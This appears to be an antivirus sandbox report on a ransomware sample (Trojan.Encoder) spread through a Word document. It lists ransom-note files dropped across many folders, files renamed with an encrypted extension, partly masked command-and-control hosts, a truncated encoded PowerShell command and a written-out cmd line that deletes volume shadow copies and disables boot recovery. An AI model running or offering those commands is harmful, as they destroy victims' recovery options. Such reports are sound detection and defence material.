Technical Information
To ensure autorun and distribution
Creates the following files on removable media
- <Drive name for removable media>:\d18wh509u5-readme.txt
Malicious functions
To complicate detection of its presence in the operating system,
deletes volume shadow copies.
Executes the following (exploit)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Enc IAAoACAALgAoACcAbgBFAHcAJwArACcALQBPAEIAJwArACcAagAnACsAJwBlAGMAdAAnACkAIAAgAFMAWQBTAFQAYABlAG0AYAAuAGkAbwBgAC4AQwBPAE0AUABSAGAARQBgAHMAUwBpAE8AYABOAC4AZABlAGYAbABBAFQAZQBgAFMAVABSAEUAQQBt...
Terminates or attempts to terminate
the following user processes:
- firefox.exe
Reads files which store third party applications passwords
- %HOMEPATH%\desktop\dashborder_120.bmp
- %HOMEPATH%\desktop\dashborder_192.bmp
- %HOMEPATH%\desktop\dashborder_96.bmp
- %HOMEPATH%\desktop\delete.avi
- %HOMEPATH%\desktop\dialmap.bmp
- %HOMEPATH%\desktop\file_p_00000000_1371597592.docx
- %HOMEPATH%\desktop\glidescope_review_rev_010.docx
- %HOMEPATH%\desktop\hanni_umami_chapter.doc
- %HOMEPATH%\desktop\lisp_success.doc
- %HOMEPATH%\desktop\ovp25012015.doc
- %HOMEPATH%\desktop\split.avi
- %HOMEPATH%\desktop\testee.cer
- %HOMEPATH%\desktop\toolbar.bmp
- %HOMEPATH%\desktop\weeklysheet1215.doc
Modifies file system
Creates the following files
- %HOMEPATH%\vpapbx.exe
- %HOMEPATH%\contacts\d18wh509u5-readme.txt
- C:\users\public\videos\d18wh509u5-readme.txt
- C:\users\public\recorded tv\d18wh509u5-readme.txt
- C:\users\public\pictures\d18wh509u5-readme.txt
- C:\users\public\music\d18wh509u5-readme.txt
- C:\users\public\libraries\d18wh509u5-readme.txt
- C:\users\public\favorites\d18wh509u5-readme.txt
- C:\users\public\downloads\d18wh509u5-readme.txt
- C:\users\public\documents\d18wh509u5-readme.txt
- C:\users\default\videos\d18wh509u5-readme.txt
- %HOMEPATH%\documents\d18wh509u5-readme.txt
- C:\users\default\saved games\d18wh509u5-readme.txt
- C:\users\default\pictures\d18wh509u5-readme.txt
- C:\users\default\music\d18wh509u5-readme.txt
- C:\users\default\links\d18wh509u5-readme.txt
- C:\users\default\favorites\d18wh509u5-readme.txt
- C:\users\default\downloads\d18wh509u5-readme.txt
- C:\users\default\documents\d18wh509u5-readme.txt
- C:\users\default\desktop\d18wh509u5-readme.txt
- C:\users\public\desktop\d18wh509u5-readme.txt
- C:\far2\plugins\compare\d18wh509u5-readme.txt
- %HOMEPATH%\downloads\d18wh509u5-readme.txt
- %HOMEPATH%\favorites\msn websites\d18wh509u5-readme.txt
- %HOMEPATH%\favorites\microsoft websites\d18wh509u5-readme.txt
- %HOMEPATH%\favorites\links for united states\d18wh509u5-readme.txt
- %HOMEPATH%\favorites\links\d18wh509u5-readme.txt
- C:\users\public\videos\sample videos\d18wh509u5-readme.txt
- C:\users\public\recorded tv\sample media\d18wh509u5-readme.txt
- C:\users\public\pictures\sample pictures\d18wh509u5-readme.txt
- C:\users\public\music\sample music\d18wh509u5-readme.txt
- %ProgramFiles%\microsoft sql server compact edition\v3.5\desktop\d18wh509u5-readme.txt
- %ProgramFiles%\microsoft sql server compact edition\v3.5\d18wh509u5-readme.txt
- %HOMEPATH%\desktop\d18wh509u5-readme.txt
- C:\far2\addons\colors\default_highlighting\d18wh509u5-readme.txt
- C:\far2\addons\colors\custom_highlighting\d18wh509u5-readme.txt
- %HOMEPATH%\voip\d18wh509u5-readme.txt
- %HOMEPATH%\videos\d18wh509u5-readme.txt
- %HOMEPATH%\searches\d18wh509u5-readme.txt
- %HOMEPATH%\saved games\d18wh509u5-readme.txt
- %HOMEPATH%\pictures\d18wh509u5-readme.txt
- %HOMEPATH%\music\d18wh509u5-readme.txt
- %HOMEPATH%\links\d18wh509u5-readme.txt
- C:\far2\addons\xlat\russian\d18wh509u5-readme.txt
- %HOMEPATH%\favorites\d18wh509u5-readme.txt
- C:\far2\pluginsdk\headers.pas\d18wh509u5-readme.txt
- C:\far2\pluginsdk\headers.c\d18wh509u5-readme.txt
- C:\far2\plugins\tmppanel\d18wh509u5-readme.txt
- C:\far2\documentation\d18wh509u5-readme.txt
- C:\users\default\d18wh509u5-readme.txt
- C:\totalcmd\language\d18wh509u5-readme.txt
- C:\recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\d18wh509u5-readme.txt
- %ProgramFiles%\microsoft sql server compact edition\d18wh509u5-readme.txt
- <Current directory>\~$<File name>.doc
- C:\far2\pluginsdk\d18wh509u5-readme.txt
- C:\far2\plugins\d18wh509u5-readme.txt
- C:\far2\fexcept\d18wh509u5-readme.txt
- %HOMEPATH%\favorites\windows live\d18wh509u5-readme.txt
- %HOMEPATH%\d18wh509u5-readme.txt
- C:\far2\addons\d18wh509u5-readme.txt
- C:\users\d18wh509u5-readme.txt
- C:\totalcmd\d18wh509u5-readme.txt
- C:\recovery\d18wh509u5-readme.txt
- %ProgramFiles(x86)%\d18wh509u5-readme.txt
- %ProgramFiles%\d18wh509u5-readme.txt
- <Current directory>\d18wh509u5-readme.txt
- C:\far2\d18wh509u5-readme.txt
- C:\d18wh509u5-readme.txt
- C:\far2\encyclopedia\d18wh509u5-readme.txt
- C:\far2\plugins\ftp\lib\d18wh509u5-readme.txt
- C:\far2\addons\colors\d18wh509u5-readme.txt
- C:\far2\addons\shell\d18wh509u5-readme.txt
- C:\far2\addons\macros\d18wh509u5-readme.txt
- C:\far2\plugins\proclist\d18wh509u5-readme.txt
- C:\far2\plugins\network\d18wh509u5-readme.txt
- C:\far2\plugins\macroview\d18wh509u5-readme.txt
- C:\far2\plugins\hlfviewer\d18wh509u5-readme.txt
- C:\far2\plugins\ftp\d18wh509u5-readme.txt
- C:\far2\plugins\filecase\d18wh509u5-readme.txt
- C:\far2\plugins\farcmds\d18wh509u5-readme.txt
- C:\far2\plugins\emenu\d18wh509u5-readme.txt
- C:\far2\addons\setup\d18wh509u5-readme.txt
- C:\far2\plugins\editcase\d18wh509u5-readme.txt
- C:\users\public\d18wh509u5-readme.txt
- C:\far2\plugins\brackets\d18wh509u5-readme.txt
- C:\far2\plugins\autowrap\d18wh509u5-readme.txt
- C:\far2\plugins\arclite\d18wh509u5-readme.txt
- C:\far2\plugins\align\d18wh509u5-readme.txt
- C:\far2\encyclopedia\tap\d18wh509u5-readme.txt
- C:\far2\documentation\rus\d18wh509u5-readme.txt
- C:\far2\documentation\eng\d18wh509u5-readme.txt
- C:\far2\addons\xlat\d18wh509u5-readme.txt
- C:\far2\plugins\drawline\d18wh509u5-readme.txt
- D:\d18wh509u5-readme.txt
Moves the following files
- from <Current directory>\~$<File name>.doc to <Current directory>\~$<File name>.doc.d18wh509u5
Moves itself
- from <PATH_SAMPLE>.doc to <PATH_SAMPLE>.doc.d18wh509u5
Modifies user data files (Trojan.Encoder).
Changes user data files extensions (Trojan.Encoder).
Network activity
Connects to
- 'pa###bin.com':443
TCP
HTTP GET requests
- http://fc####leibrahim.top/sywo/fgoow.php?l=############
- http://18#.#93.141.248/gs.php
UDP
- DNS ASK fc####leibrahim.top
- DNS ASK pa###bin.com
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\cmd.exe' /c vssadmin.exe Delete Shadows /All /Quiet & bcdedit /set {default} recoveryenabled No & bcdedit /set {default} bootstatuspolicy ignoreallfailures' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /c vssadmin.exe Delete Shadows /All /Quiet & bcdedit /set {default} recoveryenabled No & bcdedit /set {default} bootstatuspolicy ignoreallfailures
